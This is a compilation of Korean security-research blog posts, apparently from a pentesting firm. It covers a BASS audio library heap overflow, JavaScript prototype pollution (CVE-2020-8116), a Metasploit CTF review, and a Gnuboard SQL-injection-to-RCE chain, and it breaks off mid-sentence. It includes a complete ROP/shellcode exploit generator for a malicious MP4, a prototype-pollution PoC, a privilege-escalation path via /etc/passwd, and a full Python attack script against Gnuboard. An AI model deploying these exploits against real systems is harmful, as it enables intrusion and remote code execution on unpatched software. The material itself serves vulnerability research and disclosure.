+ +BASS는 MP3,ACC,M4P,FLAC,OGG,WAV 등 여러가지 확장자를 지원하는 오디오 라이브러리입니다. 다수 프로그램이 현재까지도 사용하고 있습니다.
+ +Audio File을 파싱하던중 data 필드 부분에서 integer overflow가 발생합니다. integer overflow를 통해 복사하는 데이터의 길이보다 작은 값을 힙할당 하게 되어 Heap overflow로 이어집니다.
+ +*sub_110249B6 (strlen)
+ +*sub_11001009 (heap alloc)
+ +*sub_110031E6 (File Read)
+ +첫번째 박스에서 v4가 파일에서 읽어온 값입니다. (v4-7+3)&0xFC만큼 스택을 할당하고 파일에서 읽어와 해당스택에 저장합니다. 그리고 두번째 박스에서 data 필드를 파싱할때 힙할당시 계산되는 사이즈부분에서 검증미흡으로 integer overflow가 발생하게 됩니다.
+ +v66은 파일에서 가져온 값이며, v8은 첫번째 박스에서 할당한 스택에 있는 내용의 길이입니다. 둘의 값을 잘 조절하면, 0xffffffff의 값을 넘기게 하여 v66보다 작은값을 할당 할 수 있습니다.
+ +v66-16 사이즈만큼 파일 데이터를 읽오다 sub_110031E6 내부에서 Heap overflow가 발생하게 됩니다.
+ +sub_110031E6 내부에서 qmemcpy로 파일내용을 복사한 이후에, sub_11003749가 호출됩니다.
+ + + +sub_11003749 함수에서 (*(a1+0x30)) 함수포인터가 호출되게 됩니다. 이때 Heap overflow로 인해 *(a1+0x30)의 값을 마음대로 조작 할 수 있게 되어 EIP 컨트롤을 할 수 있게 됩니다.
+ + + +WinDbg를 통해 디버깅을 진행해보았습니다. 함수 포인터를 호출할때, 스택상황을 보면, ESP에서 0x48만큼 떨어진거리에 아까 스택할당후 저장한 파일데이터가 존재하는것을 확인 할 수 있습니다. 해당부분에 ROP Chain을 구상하고, “add esp,0x~~;ret” 와 같은 가젯을 사용하여 ROP Chain을 실행시켰습니다.
+ + + +Virtual_alloca API를 통해 rwx 권한을 주고, 그공간에 쉘코드를 복사하고 점프하여 실행시키는 ROP Chain을 작성하였습니다.
+ + + +BASS 라이브러리를 사용하고 A사 프로그램에서 테스트 하였습니다. (패치완료됨)
+ +익스플로잇 파일을 읽으면 쉘코드(calc.exe)가 실행되는것을 볼 수 있습니다.
+ +from struct import *
+
+p32 = lambda x : pack("<L",x)
+
+loop_cpy = ""
+sub_eax = ""
+
+shellcode = "\x90"*0x30 + "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7\xeb\xfe" + "\x90\x90"
+
+#rop_gadget
+cpy = 0x6350cbbc # mov dword ptr [eax], ecx ; pop esi ; ret
+pop_ecx = 0x635070f2
+inc_eax = 0x63506ad8
+jmp_eax = 0x63506dad # push eax ; ret
+add_esp_13c = 0x63503f0b# : add esp, 0x13c ; ret 0x13c-0x48
+virtual_alloc = 0x6350f0a4
+ppppr = 0x63507389 # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
+pop_eax = 0x63507228 #: pop eax ; ret
+push_ecx_ptr = 0x6070fff1 #: push dword ptr [ecx] ; add byte ptr [eax], al ; ret 0xc
+mov_eax_ebx = 0x63507484 #: mov eax, ebx ; pop esi ; pop ebx ; pop ebp ; ret
+sub_eax_20 = 0x6350db86 #: sub eax, 0x20 ; pop ebx ; ret
+
+for i in range(0,len(shellcode),4):
+ loop_cpy += p32(pop_ecx)
+ loop_cpy += shellcode[i:i+4]
+ loop_cpy += p32(cpy)
+ loop_cpy += "\x90\x90\x90\x90"
+ loop_cpy += p32(inc_eax)
+ loop_cpy += p32(inc_eax)
+ loop_cpy += p32(inc_eax)
+ loop_cpy += p32(inc_eax)
+
+rop_chain = p32(mov_eax_ebx)
+rop_chain += "\x90"*12
+rop_chain += p32(pop_ecx)
+rop_chain += p32(virtual_alloc)
+rop_chain += p32(push_ecx_ptr)
+rop_chain += "\x90"*0xc
+rop_chain += p32(ppppr)
+rop_chain += p32(0)
+rop_chain += p32(0x10000) # size
+rop_chain += p32(0x1000)
+rop_chain += p32(0x40) # execution
+rop_chain += "\x90"*0x10
+rop_chain += loop_cpy
+
+for k in range(0,4,1):
+ sub_eax += p32(sub_eax_20)
+ sub_eax += "\x90\x90\x90\x90"
+
+rop_chain += sub_eax
+rop_chain += p32(jmp_eax)
+
+header = "\x00\x00\x00\x08"
+header += "\x66\x74\x79\x70" # file signature
+header += "\x00\x00\x00\x09" # 0x10 > 0x11 break pass
+header += "\x69\x6C\x73\x74" # ilst
+header += "\x00\x00\xAf\xff" # 1 read size
+header += "\x6E\x61\x6D\x65" # name
+header += "\x90\x90\x90\x90" # dummy
+
+rop_space = "\x90"*0xf0 + p32(add_esp_13c) + "\x90"*0x13c
+for k in range(0,0x25,1):
+ rop_space += p32(add_esp_13c)*0xf0
+
+rop_space += rop_chain # 23c
+rop_space += "\x90"*(0xAff3-len(rop_space))
+
+header += rop_space
+
+data_header = "\xff\xff\x72\xeb"
+data_header += "\x64\x61\x74\x61"
+data = "\x90\x90\x90" + p32(add_esp_13c)*(0xfd0/4)
+
+f = open("exploit.mp4","w")
+payload = header + data_header + data
+
+f.write(payload)
+f.close()
+
+
integer overflow가 발생하지 않게 연산할때 오버플로우를 검증 하는코드를 추가 합니다.
+ + +웹해킹을 배우고 나서 가장 첫번째로 슬럼프가 왔을 시기가 APM(Apache + PHP + MySQL)
환경을 떠나 새로운 환경에서 해킹해야 했을 때였다. Pure PHP에서는 보안 기술을 프로그래머가 직접 구현해야 하는 게 많아서 XSS와 SQL Injection, Webshell Upload 같은 굵직한 취약점을 쉽게 찾을 수 있었는데, 그에 비해 nodejs의 express나 python의 flask, django 같은 현대적인 웹프레임워크에서는 굵직한 취약점을 찾기 어려웠기 때문이다. SQL Injection의 경우도 Pure PHP에서는 addslashes() 함수를 통해 직접 막았던 반면에, Modern Web Framework에서는 아래와 같은 ` ? ` 인자를 통한 자동 매핑 기술이나 ORM (Object Relational Mapping) 기술의 등장으로 인해 database connection framework 자체의 n-day 취약점이 있는 것이 아니면 쉽게 공략하기 어려워졌다.
let rows = await Database.query(
+ "SELECT * FROM `user` WHERE username = ?", [ username ]
+)
+
‘그러면 SQL Injection은 역사 속으로 사라지는 공격이 되는 것이 아닌가?’ 라는 생각에 한동안 해킹에 흥미가 떨어져 개발만 공부했던 기억이 있다. 하지만 그렇게 생각할 필요도 없는 것이, 아직도 많은 웹 어플리케이션이 잠재적인 보안 취약점을 갖고 있다는 것이다. 스틸리언에서 여러 Pentesting Projects를 경험해보고나서 결국 Modern Web 환경에서도 취약점은 반드시 나올 수 있다는 생각을 갖게 되었다.
+ +그래서 이 글에서는 현대 웹 프레임워크에 대한 내 인식을 바뀌게 한 취약점을 소개하려 한다. 이 취약점은 간단하면서도, 프로그래머가 해당 취약점을 의식하지 않고 웹 서비스를 구축하면 충분히 나올 수 있을 법한 취약점이다.
+ +Java, Python 같은 여타 프로그래밍 언어처럼 Javascript도 객체지향 언어다. 하지만 객체지향을 구현하는 방법에서 약간의 차이가 있다. 객체지향을 표방한 다른 프로그래밍 언어에서는 ‘class’ 라는 개념을 볼 수 있는데, Javascript에서는 ‘class’라는 개념이 없다. class가 없다는 뜻은 객체지향에서 가장 중요한 기능 중 하나인 상속 기능을 사용하지 못한다는 뜻이다. 그래서 Javascript에는 prototype
이라는 Javascript 고유 특성을 이용해 상속 기능을 구현했다. ECMA6
표준에서 ‘class’ 라는 키워드가 추가되었지만 궁극적으로 Javascript가 class 기반의 객체지향 언어로 바뀌지는 않았다. 흥미로운 사실은 Javascript의 이러한 특성을 이용한 취약점이 있다는 것이다.
앞에서 언급한 것처럼, 자바스크립트에서는 상속을 Prototype 이라는 객체를 사용해서 구현했다. 사실 우리는 상속이 이미된 객체를 사용하고 있다. 자바스크립트에서 객체의 부모는 __proto__
로 접근할 수 있다. 다른 프로그래밍 언어의 상속에서 그렇듯, 자식 객체에서 어떠한 변수를 찾을 수 없으면 부모 객체에서 해당 변수를 찾게되는데, Javascript에서는 이것을 Prototype Chain이라고 부른다.
let user = {
+ name: ‘scyoon’,
+ age: 20,
+}
+
+console.log(user.hasOwnProperty(‘name’)); // true
+
[참고] https://poiemaweb.com/js-prototype
+ +user라는 객체에서 hasOwnProperty()
메소드를 선언하지 않았음에도 호출할 수 있는 이유는 user 객체가 부모 객체에서 hasOwnProperty()
메소드를 상속받았기 때문이다. Object 리터럴 (즉, 중괄호 { }
를 통한) 객체 선언 방식은 내부적으로 new Object();
이 실행되며 선언되는데, 이러한 이유로 Object
객체를 상속받게 되는 것이다.
var a = {
+ attr1: 'a1'
+}
+
+var b = {
+ attr2: 'a2'
+}
+
+b.__proto__ = a;
+
+b.attr1 // 'a1'
+
[출처] https://meetup.toast.com/posts/104
+ +b
에서 부모 객체인 a
의 attr에 접근할 수 있다. a
가 부모객체가 된 것이고, b
가 자식객체가 된 것이다.
객체 리터럴을 통해 선언한 객체의 부모는 Object.prototype
이기 때문에, 객체에서 undefined
인 속성에 접근할 때 Object.prototype
에도 해당 속성이 있는지 확인한다. 아래는 이해를 돕기 위한 코드이다.
Object.prototype.hi = true;
+let foo = {bar: 1};
+console.log(foo.hi); // true
+console.log(hi); // true
+
foo
는 객체 리터럴로 생성된 객체이다. 따라서 foo.__proto__
는 Object.prototype
이다.
Prototype Pollution이란 Javascript 내부에서 객체지향의 핵심 기술인 상속을 Prototype Chain으로 구현한 점을 이용해, 특정 로직을 우회하거나 코드가 해커가 원하는 방향으로 실행되도록 만드는 공격이다. 위의 내용을 이해했다면 취약점의 원리는 아래의 코드를 보면서 쉽게 이해할 수 있다.
+ +let foo = {bar: 1};
+let user = {
+ name: 'ch4n3.yoon',
+ age: 20,
+}
+
+foo.__proto__.isAdmin = true; // exploit
+
+if (user.isAdmin) {
+ console.log(`${user.name} is admin`); // console.log() will be executed
+}
+
블랙박스 테스팅보다 npm 처럼 소스코드가 공개되어 있는 프로젝트에서 유용하게 사용할 수 있는 공격이 될 것 같다.
+ +이 글에서 설명할 CVE는 CVE-2020-8116 이다. dot-prop
이라는 javascript 패키지에서 발생한 취약점이며, 해당 패키지에 대한 설명은 아래 코드로 대체하겠다.
const dotProp = require('dot-prop');
+
+// Getter
+dotProp.get({foo: {bar: 'unicorn'}}, 'foo.bar');
+//=> 'unicorn'
+
+dotProp.get({foo: {bar: 'a'}}, 'foo.notDefined.deep');
+//=> undefined
+
+dotProp.get({foo: {bar: 'a'}}, 'foo.notDefined.deep', 'default value');
+//=> 'default value'
+
+dotProp.get({foo: {'dot.dot': 'unicorn'}}, 'foo.dot\\.dot');
+//=> 'unicorn'
+
+// Setter
+const object = {foo: {bar: 'a'}};
+dotProp.set(object, 'foo.bar', 'b');
+console.log(object);
+//=> {foo: {bar: 'b'}}
+
+const foo = dotProp.set({}, 'foo.bar', 'c');
+console.log(foo);
+//=> {foo: {bar: 'c'}}
+
+dotProp.set(object, 'foo.baz', 'x');
+console.log(object);
+//=> {foo: {bar: 'b', baz: 'x'}}
+
+// Has
+dotProp.has({foo: {bar: 'unicorn'}}, 'foo.bar');
+//=> true
+
+// Deleter
+const object = {foo: {bar: 'a'}};
+dotProp.delete(object, 'foo.bar');
+console.log(object);
+//=> {foo: {}}
+
+object.foo.bar = {x: 'y', y: 'x'};
+dotProp.delete(object, 'foo.bar.x');
+console.log(object);
+//=> {foo: {bar: {y: 'x'}}}
+
CVE-2020-8116
은 CVSS SCORE
로 6.3 점을 받았을 만큼 무시할 수만은 없는 취약점이다. 하지만 취약점의 위험도에 비해 그 원리는 너무나 단순하다. 이 취약점의 PoC이다.
const dotProp = require("dot-prop")
+const object = {};
+console.log("Before " + object.b); //Undefined
+dotProp.set(object, '__proto__.b', true);
+console.log("After " + {}.b); //true
+
객체 리터럴이 Object.prototype을 참조하는데, Object.prototype에 b가 true
로 지정되어 있기 때문에 제일 마지막 console.log 에서는 undefined
가 아닌 true
가 출력된다. Prototype Pollution이 발생한 것이다. 내부 코드를 보면 더욱 별거 아니다.
set(object, path, value) {
+ if (!isObj(object) || typeof path !== 'string') {
+ return object;
+ }
+
+ const root = object;
+ const pathArray = getPathSegments(path);
+
+ for (let i = 0; i < pathArray.length; i++) {
+ const p = pathArray[i];
+
+ if (!isObj(object[p])) {
+ object[p] = {};
+ }
+
+ if (i === pathArray.length - 1) {
+ object[p] = value; // exploitable !
+ }
+
+ object = object[p];
+ }
+
+ return root;
+}
+
set()
메소드를 실행 시, __proto__
에 대한 검증을 하지 않았기 때문에 취약점이 발생했다. 해당 취약점을 막기 위해 dot-prop
패키지에서는 disallowedKeys
변수를 exploitable한 부분에서 검증하는 로직을 추가했다.
const disallowedKeys = new Set([
+ '__proto__',
+ 'prototype',
+ 'constructor'
+]);
+
이 링크에 방문하면 dot-prop
모듈 이외에 생각보다 많은 모듈이 Prototype Pollution에 취약했음을 알 수 있다.
어떤 소프트웨어라도 취약점이 존재할 수 있다. 이것을 발견할 수 있는 가장 중요한 요인 중 하나는 해커의 마음가짐이라고 생각한다.
+ +special thx to @munsiwoo
+ +2020년 12월 초 쯤, 영국에 살고있는 @timwr이란 친구한테 Slack DM이 왔다.
+ +
+
+ 나를 잊지 않아 준 @timwr.
+
사실 2019년 말에도 이 CTF를 같이 할지 물어 봤었는데, 나는 CTF Pro Player도 아니고, CTF에 흥미를 그렇게 크게 느끼는 사람이 아니었기 때문에 미안하다고 하고 지나갔었다.
+ +근데 이 날은 왠지 할 것도 없고, 코로나 때문에 방에 박혀만 있어서 그런지 흥미가 생겨서 한번 도전 해 보았다.
+ +Teammates는 나 포함 다음 네명이었다.
+ + +문제는 내가 알던 ‘Common Jeopardy CTF’1가 아니었다는 점이다.
+ +Metaploit Community CTF2는 다음과 같은 방식으로 진행 되었다.
+ +다른 CTF를 조금이라도 해 보았다면, 이런 진행 방식의 CTF는 생소할 수도 있을것이다. 왜냐면 내가 그랬기 때문에…
+ +하지만 이런 환경 정보를 머리속에 집어 넣자, 문제 출제의 의도가 보였다. ‘실제 모의 해킹 업무와 비슷한 환경에서의 CTF’가 이 CTF의 목표인것으로 파악이 되었다.
+ +그렇다면, 접근도 모의 해킹처럼 진행 해야겠다고 생각하고 착수를 시작했다.
+ +++ +밑의 문제에 대한 설명은 Slack Message 및 흐릿한 기억에 기반을 두고 작성 되었습니다.
+
+우선 Kali Linux로 접근하여 타겟 Ubuntu에 nmap3을 이용한 Port Scanning을 시도했다.
PORT STATE SERVICE VERSION
+80/tcp open http nginx 1.19.5
+1080/tcp open socks5 (No authentication; connection failed)
+5555/tcp open telnet
+8080/tcp open http Apache httpd 2.4.38 ((Debian))
+8200/tcp open http Apache httpd 2.4.38 ((Debian))
+8888/tcp open http Werkzeug httpd 1.0.1 (Python 3.8.5)
+9000/tcp open http WEBrick httpd 1.6.0 (Ruby 2.7.0 (2019-12-25))
+9001/tcp open http Thin httpd
+9009/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
+9010/tcp open http Apache httpd 2.4.38
+
80번 포트가 너무 맛있어 보여 접근 해 보니, HTML이 어떤 이미지 파일을 링크하고 있었다.
+ +
+
+ 이상한 이미지 파일.
+
이 이미지 파일 EXIF4를 뜯어 보고 있던 찰나, 팀원에게 메세지를 받았다.
+ +
+
+ Flag였잖아?!
+
알고보니 이 이미지 파일이 플래그였던 것이다. 해당 이미지 파일을 md5sum
한 hex string을 인증 하면 되었다.
이런 방식으로 문제를 풀면 되는데, 내가 푼 문제들 중 한가지 흥미로웠던 문제를 소개 하겠다.
+ +팀원이 무작위 대입을 통해 SSH 서비스(port 9009)의 ID/Password를 알아냈다. 해당 Account 정보를 이용해 접근 하면, bash 쉘이 열렸고, 우리는 공격 목표를 찾아야 했다.
+ +모두 FTZ5의 1번 문제를 기억하는가? find
명령어를 이용하여 로컬 시스템에서 Privilege Escalation의 가능성이 있는 프로그램이 존재하는지 찾아보았다.
$ find / -user root -perm -4000 2>/dev/null
+/usr/lib/dbus-1.0/dbus-daemon-launch-helper
+/usr/lib/openssh/ssh-keysign
+/usr/bin/passwd
+/usr/bin/chfn
+/usr/bin/gpasswd
+/usr/bin/newgrp
+/usr/bin/chsh
+/opt/vpn_connect
+/bin/umount
+/bin/mount
+/bin/su
+
/opt/vpn_connect
라는 프로그램이 아주 맛이 있어보이게 생겼다.
저 프로그램을 리버싱하면, 단순히 ID/Password 값을 바이너리에 존재하는 문자열과 비교 후 True/False를 출력하는 프로그램이다.
+ +
+
+ 싸나이는 IDA 테마따위 쓰지 않는다 1.
+
다만 한가지 특징은, 사용자의 인풋이 들어가는 로그파일을 사용자가 원하는 위치에 작성 할 수 있다는 건데…
+ +
+
+ 싸나이는 IDA 테마따위 쓰지 않는다 2.
+
이걸 이용해서 다음과 같이 Root shell을 획득 할 수 있었다.
+ +
+
+ 사실 이거 푼다고 시간을 꽤 썼다.
+
우선 로그를 /etc/passwd
에 다음과 같이 작성하게 되면, Attempting to connect to server with a and
까지가 Username이 되고, 그 뒤의 값이 Password가 된다. 사실 되게 간단한 문제6인데 아이디어를 생각 하는데 이렇게 오래 걸렸는지…. ‘가끔 그럴때가 있어야 인간미가 있다’고 생각하려고 한다.
먼저 이 CTF에 대해 평가를 해 보자면, 기존의 Jeopardy 방식 CTF Player라면 적응이 힘들 수도 있다. 무작위대입이라던가, 어느정도의 게싱이 필요하기 때문이다. 하지만 내가 실무를 겪으며 생각 한 것은, 실제로 어느정도의 게싱과 무작위대입은 필요하다. 이 때문에 나는 이 CTF의 컨셉이 아주 잘 짜여졌고, 많이 배울 수 있었다고 생각한다.
+ +
+
+ 3등이다!
+
시스템 해킹이 많이 없어서 문제를 많이 풀진 못했지만… 결국 3등을 땄다. 사실 가장 중요한 문제는 3등상이 무엇인가가 중요하지 않겠는가? 그래서 확인 해 보니까… 3등은 100$치의 아마존 기프트카드 1장과 HackTheBox 3개월치 VIP+를 주는 것 아닌가? 그래서 다음 리뷰 포스팅에는 HackTheBox를 리뷰 해 보겠다.
+ +스틸리언 선임연구원 이예랑(yelang123)
+ +본 글에서는 찾은 뒤 제보하지 않아 잠수함 패치 된 Gnuboard
취약점의 대한 내용을 다룬다.
+해당 취약점은 관리자 페이지가 없어도 RCE가 가능하며 Gnuboard
게시판 관리자 이상의 권한에서 터지는 취약점이다.
+보통 Gnuboard
를 사용하는 실제 서비스에서 관리자 페이지의 취약점 등의 이유로 인하여 관리자 페이지의 경로를 바꾸거나 기타 다른 조치를 취하여 공격에 대해 사전에 방지한다.
+해당 취약점을 이용하면 관리자 페이지의 경로를 모르거나 접근이 불가능 한 경우에도 RCE가 가능하다.
if (isset($_REQUEST['bo_table'])) {
+ $bo_table = preg_replace('/[^a-z0-9_]/i', '', trim($_REQUEST['bo_table']));
+ $bo_table = substr($bo_table, 0, 20);
+} else {
+ $bo_table = '';
+}
+
우선 Gnuboard
는 common.php 392 line
에서 위와 같이 GET,POST 의 ‘bo_table’ 파라미터의 데이터를 정규식으로 replace 한 뒤 글자수를 20 글자로 잘라 사용자의 입력을 제한한다.
+위의 내용으로 인해 일반적인 방법으로 bo_table 파라미터를 이용한 SQL Injection은 불가능하다.
+하지만 아래의 경우 이런 동작을 우회 할 수 있다.
for($i=0;$i<count($_POST['chk_bn_id']);$i++)
+{
+ // 실제 번호를 넘김
+ $k = $_POST['chk_bn_id'][$i];
+ $bo_table = $_POST['bo_table'][$k];
+ $wr_id = $_POST['wr_id'][$k];
+ $save_bo_table[] = $bo_table;
+ $write_table = $g5['write_prefix'].$bo_table;
+ if ($board['bo_table'] != $bo_table)
+ $board = sql_fetch(" select bo_subject, bo_write_point, bo_comment_point, bo_notice from {$g5['board_table']} where bo_table = '$bo_table' ");
+ $sql = " select * from $write_table where wr_id = '$wr_id' ";
+ $write = sql_fetch($sql);
+ if (!$write) continue;
+
/bbs/new_delete.php 12~29 line
에서 ‘chk_bn_id’ 파라미터를 count하여 반복문을 통해 SELECT 하는것을 볼수 있다.
+ 방어기법이 적용된 입력값은 $bo_table에 적용된 반면에 이 코드에서 사용하고 있는 변수는 $_POST[‘bo_table’]의 값을 가져와 $bo_table
을 재정의 하기 때문에 common.php
의 방어 코드는 실행되지 않는다.
+ 따라서 SQL Injection이 가능하다.
PHP 에서 Local File Inclusion 은 include,require,include_once,require_once
등의 함수의 인자를 다음과 같이 User input에서 컨트롤이 가능하다면 발생하는 취약점이다.
<?php
+$input = $_GET[1];
+include $input;
+?>
+
위와 같은 코드가 존재한다면 include 함수에서는 확장자의 영향을 받지 않기 때문에 파일의 내용을 쓸수 있는 경우 등 상황에 따라 RCE 가 가능하다.
+<?php
+if (!defined('_GNUBOARD_')) exit; // 개별 페이지 접근 불가
+// 게시판 관리의 상단 내용
+if (G5_IS_MOBILE) {
+ // 모바일의 경우 설정을 따르지 않는다.
+ include_once(G5_BBS_PATH.'/_head.php');
+ echo html_purifier(stripslashes($board['bo_mobile_content_head']));
+} else {
+ if(is_include_path_check($board['bo_include_head'])) { //파일경로 체크
+ @include ($board['bo_include_head']);
+ } else { //파일경로가 올바르지 않으면 기본파일을 가져옴
+ include_once(G5_BBS_PATH.'/_head.php');
+ }
+ echo html_purifier(stripslashes($board['bo_content_head']));
+}
+?>
+
/bbs/board_head.php 1~17 line
을 보면 모바일 인지 체크 후 $board['bo_include_head']
의 값을 인자로 받아 include 함수를 실행한다.
$write = array();
+$write_table = "";
+if ($bo_table) {
+ $board = get_board_db($bo_table);
+ if ($board['bo_table']) {
+ set_cookie("ck_bo_table", $board['bo_table'], 86400 * 1);
+ $gr_id = $board['gr_id'];
+ $write_table = $g5['write_prefix'] . $bo_table; // 게시판 테이블 전체이름
+ if (isset($wr_id) && $wr_id) {
+ $write = get_write($write_table, $wr_id);
+ } else if (isset($wr_seo_title) && $wr_seo_title) {
+ $write = get_content_by_field($write_table, 'bbs', 'wr_seo_title', generate_seo_title($wr_seo_title));
+ if( isset($write['wr_id']) ){
+ $wr_id = $write['wr_id'];
+ }
+ }
+ }
+}
+
/common.php 415~433 line
을 보면 get_board_db
함수의 return 값을 $board 변수에 저장하고 그 후 다른 변수들의 값을 저장하는데 get_board_db
함수의 정의는 다음과 같다.
function get_board_db($bo_table, $is_cache=false){
+ global $g5;
+ static $cache = array();
+ $cache = run_replace('get_board_db_cache', $cache, $bo_table, $is_cache);
+ $key = md5($bo_table);
+ $bo_table = preg_replace('/[^a-z0-9_]/i', '', $bo_table);
+ if( $is_cache && isset($cache[$key]) ){
+ return $cache[$key];
+ }
+ if( !($cache[$key] = run_replace('get_board_db', array(), $bo_table)) ){
+ $sql = " select * from {$g5['board_table']} where bo_table = '$bo_table' ";
+ $cache[$key] = sql_fetch($sql);
+ }
+ return $cache[$key];
+}
+
/lib/get_data_lib.php 68~91 line
을 보면 해당 함수는 $bo_table
을 인자로 받아 g5_board
테이블에서 select 해 그 결과를 변수에 저장한다.
+따라서 g5_board.bo_include_head
필드의 내용을 실행하고 싶은 PHP 코드가 담긴 파일경로로 변경하면 RCE를 진행 할 수있다는 것이다.
for($i=0;$i<count($_POST['chk_bn_id']);$i++)
+{
+ // 실제 번호를 넘김
+ $k = $_POST['chk_bn_id'][$i];
+ $bo_table = $_POST['bo_table'][$k];
+ $wr_id = $_POST['wr_id'][$k];
+ $save_bo_table[] = $bo_table;
+ $write_table = $g5['write_prefix'].$bo_table;
+ if ($board['bo_table'] != $bo_table)
+ $board = sql_fetch(" select bo_subject, bo_write_point, bo_comment_point, bo_notice from {$g5['board_table']} where bo_table = '$bo_table' ");
+ $sql = " select * from $write_table where wr_id = '$wr_id' ";
+ $write = sql_fetch($sql);
+ if (!$write) continue;
+ // 원글 삭제
+ if ($write['wr_is_comment']==0)
+ {
+ $len = strlen($write['wr_reply']);
+ if ($len < 0) $len = 0;
+ $reply = substr($write['wr_reply'], 0, $len);
+ // 나라오름님 수정 : 원글과 코멘트수가 정상적으로 업데이트 되지 않는 오류를 잡아 주셨습니다.
+ $sql = " select wr_id, mb_id, wr_is_comment from $write_table where wr_parent = '{$write['wr_id']}' order by wr_id ";
+ $result = sql_query($sql);
+ while ($row = sql_fetch_array($result))
+ {
+ // 원글이라면
+ if (!$row['wr_is_comment'])
+ {
+
/bbs/new_delete.php 11~44 line
을 보면 $write_table
변수의 저장된 값을 이용해 select 하여 1차 적인 select 에서의 SQL Injection이 가능하다.
+하지만 RCE
를 위한 g5_board
테이블의 값을 변조해야 하기 때문에 update clause 에서 SQL Injection 이 있어야 했고, 방법을 다음 코드에서 발견했다.
else // 코멘트 삭제
+ {
+ //--------------------------------------------------------------------
+ // 코멘트 삭제시 답변 코멘트 까지 삭제되지는 않음
+ //--------------------------------------------------------------------
+ //print_r2($write);
+ $comment_id = $wr_id;
+ $len = strlen($write['wr_comment_reply']);
+ if ($len < 0) $len = 0;
+ $comment_reply = substr($write['wr_comment_reply'], 0, $len);
+ // 코멘트 삭제
+ if (!delete_point($write['mb_id'], $bo_table, $comment_id, '코멘트')) {
+ insert_point($write['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_parent']}-{$comment_id} 코멘트삭제");
+ }
+ // 코멘트 삭제
+ sql_query(" delete from $write_table where wr_id = '$comment_id' ");
+ // 코멘트가 삭제되므로 해당 게시물에 대한 최근 시간을 다시 얻는다.
+ $sql = " select max(wr_datetime) as wr_last from $write_table where wr_parent = '{$write['wr_parent']}' ";
+ $row = sql_fetch($sql);
+ // 원글의 코멘트 숫자를 감소
+ sql_query(" update $write_table set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}' ");
+ // 코멘트 숫자 감소
+ sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment - 1 where bo_table = '$bo_table' ");
+ // 새글 삭제
+ sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_id = '$comment_id' ");
+ }
+}
+
/bbs/new_delete.php 104~137 line
을 보면 $write
변수
+sw=move&page=1&pressed=선택내용삭제&chk_bn_id[]=0&bo_table[0]=free as a join g5_board as b #&wr_id[0]=
+where 1=0 union select (생략)-- -
+이와 같은 내용의 request 를 전송하면 다음과 같은 query 가 실행된다.
+1차 query
string(51) " select * from g5_write_free as a join g5_board as b# where wr_id = '
+union select .....(생략) #' "
+
이 후 select 된 데이터의 wr_is_comment
컬럼의 내용을 확인하여 각각의 코드를 실행하는데 이 때 해당 값이 0 과 같지 않을 경우 다음과 같은 코드를 실행한다.
+2차 query
update $write_table set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}'
+
이 때 $write
변수에 저장되는 데이터의 값을 union 을 통해 적절히 조작하여 update
이후 부분을 자유롭게 조작할 수 있다.
+ (그누보드는 파일 업로드 기능을 지원하고 실제 파일명을 g5_board_file
이라는 테이블에 저장하기 때문에 파일을 업로드 후 Local File Inclusion 취약점을 이용하여 Remote Code Execution이 가능)
#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+import requests
+cookie = '2a0d2363701f23f8a75028924a3af643=MTcyLjE2LjE1LjI1NA%3D%3D; PHPSESSID=atrem9p79ans05norgqsbqkpub; ck_font_resize_rmv_class=; ck_font_resize_add_class=; e1192aefb64683cc97abb83c71057733=dGVzdA%3D%3D'
+attack_url = '172.16.15.254:1234/gnu/'
+url = 'http://'+ attack_url + '/bbs/new_delete.php'
+bo_table = 'free as a inner join g5_board as b#'
+ex_board = 'free'
+file_wr_id = '2'
+file_bo_table = 'free'
+update = '0x'+'''
+set b.bo_include_head=(select concat('../data/file/','{0}/',(select bf_file from g5_board_file where wr_id='{1}' and bo_table='{0}'))) where b.bo_table='{2}' -- -'''.format(file_bo_table,file_wr_id,ex_board).encode('hex')
+print update
+wr_id = '''
+where 1=0 union/*asdfasdfsadfsadfsa*/select
+1,2,3,{},5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135-- -'''.format(update)
+data = {'sw':'move',
+ 'pressed' : '선택내용삭제',
+ 'chk_bn_id[]' : '0',
+ 'bo_table[]' : bo_table,
+ 'wr_id[]' : wr_id}
+headers = {'Cookie' : cookie}
+r1 = requests.post(url,data=data,headers=headers)
+print r1.text
+
최근 보이스피싱을 통한 피해가 나날이 증가하고 있다. 경찰청 통계자료에 의하면 2020년까지의 보이스피싱 범죄 피해액이 2조 1376만 원이다. 또한 최근 뉴스 기사를 통해 몸캠 피싱 피해를 확인할 수 있다. 몸캠 피싱을 통해 피해자 511명에게서 22억 원을 갈취한 범죄 사건, 자살한 소녀의 핸드폰에 몸캠 피싱을 통한 피해 흔적 등 다수 “몸캠피싱”을 통한 기사들이 보도되고 있다.
